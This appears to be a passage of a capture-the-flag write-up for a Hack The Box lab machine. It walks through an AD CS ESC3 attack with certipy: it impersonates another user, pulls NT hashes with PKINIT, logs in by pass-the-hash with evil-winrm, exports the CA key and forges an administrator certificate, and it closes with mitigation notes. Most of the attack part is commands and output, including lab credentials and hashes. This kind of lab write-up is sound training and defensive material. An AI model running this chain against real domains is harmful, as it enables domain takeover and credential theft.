[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : Certificate-LTD-CA
    DNS Name                            : DC01.certificate.htb
    Certificate Subject                 : CN=Certificate-LTD-CA, DC=certificate, DC=htb
    Certificate Serial Number           : 75B2F4BBF31F108945147B466131BDCA
    Certificate Validity Start          : 2024-11-03 22:55:09+00:00
    Certificate Validity End            : 2034-11-03 23:05:09+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFICATE.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        ManageCertificates              : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Enroll                          : CERTIFICATE.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : Delegated-CRA
    Display Name                        : Delegated-CRA
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-05T19:52:09+00:00
    Template Last Modified              : 2024-11-05T19:52:10+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain CRA Managers
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Full Control Principals         : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
    [+] User Enrollable Principals      : CERTIFICATE.HTB\Domain CRA Managers
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.

It seems the template is vulnerable to ESC3 attack.

ESC3 attack

The template Delegated-CRA has the Certificate Request Agent EKU (ESC3). That lets us enroll an Enrollment Agent certificate, then request a user certificate on behalf of another principal (-on-behalf-of), here CERTIFICATE\Ryan.K, on a user-enrollable template (SignedUser). With that PFX, we use PKINIT to obtain a TGT and then retrieve Ryan’s NT hash with certipy auth.

We will first request a pfx :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad -debug req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.129.117.105' -target 'DC01.certificate.htb' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.129.117.105'
[+] DC IP: '10.129.117.105'
[+] DC Host: 'CERTIFICATE.HTB'
[+] Target IP: None
[+] Remote Name: 'DC01.certificate.htb'
[+] Domain: 'CERTIFICATE.HTB'
[+] Username: 'LION.SK'
[+] Trying to resolve 'DC01.certificate.htb' at '10.129.117.105'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.117.105[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.117.105[\pipe\cert]
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[+] Found SID in security extension: 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[+] Attempting to write data to 'lion.sk.pfx'
[+] Data written to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'

Taking directly over Administrator account is not possible because of missing required email field.

But we can take over Ryan.K

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad req -u Lion.SK -p '!QAZ2wsx'  -target 'DC01.certificate.htb' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Ryan.K'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: DC01.certificate.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 31
[*] Successfully requested certificate
[*] Got certificate with UPN 'Ryan.K@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'

We can now authenticate using the pfx, so we’re leveraging PKINIT to get a TGT and then using the user’s SID/creds to pull the NT hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad auth -pfx 'ryan.k.pfx' -dc-ip '10.129.117.105'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Ryan.K@certificate.htb'
[*]     Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: 'ryan.k@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for 'ryan.k@certificate.htb': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6

We can now use its ntlm hash and login on the server :

1
2
3
4
5
6
7
8
9
10
11
12
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -i 10.129.117.105 -u Ryan.K -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> 

Ryan has extra unusual permissions : SeManageVolumePrivilege

1
2
3
4
5
6
7
8
9
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

So we found a related exploit :

https://github.com/CsEnox/SeManageVolumeExploit

Executing exploit first part :

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\Ryan.K\Desktop> .\SeManageVolumeExploit.exe
Entries changed: 857

DONE

*Evil-WinRM* PS C:\Users\Ryan.K\Desktop>

From there we should :

  1. Generate a custom DLL and locate it at C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll.
  2. Initiate the PrintNotify object by executing the following PowerShell commands:

But this doesn’t work, there’s no spooler on this machine.

However we can export the ca since C:\ is fully readable/writable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\temp> certutil -exportPFX "Certificate-LTD-CA" ca.pfx
MY "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.

With the CA PFX, we can issue arbitrary certs: certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb, then certipy auth -pfx administrator_forged.pfx to get Administrator’s TGT and NT hash. That’s game over.

1
2
3
4
5
6
7
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad forge -ca-pfx ca.pfx -upn administrator@certificate.htb 
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Then we authenticate as administrator using our forged pfx :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad auth -pfx administrator_forged.pfx -dc-ip 10.129.117.105
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6


Root flag

We can now authenticate as administrator and get the root flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -i 10.129.117.105 -u Administrator -H 'd804304519bf0143c14cbf1c024408c6'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
e63c0c982cdd49bdb704a9e8d22957a6
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 


Mitigations / Blue team notes

  • Don’t accept polyglot ZIP/PDF; validate server-side using strict MIME + repack ZIP.
  • Use a sandbox for processing uploads.
  • Disable weak AS-REQ exposure via better password hygiene; monitor KDC pre-auth failures.
  • AD CS:
    • Audit templates; remove Enrollment Agent from broad groups.
    • Require manager approval or authorized signatures for on-behalf-of templates.
    • Store CA keys non-exportable and restrict private key ACLs; consider HSM.
This post is licensed under CC BY 4.0 by the author.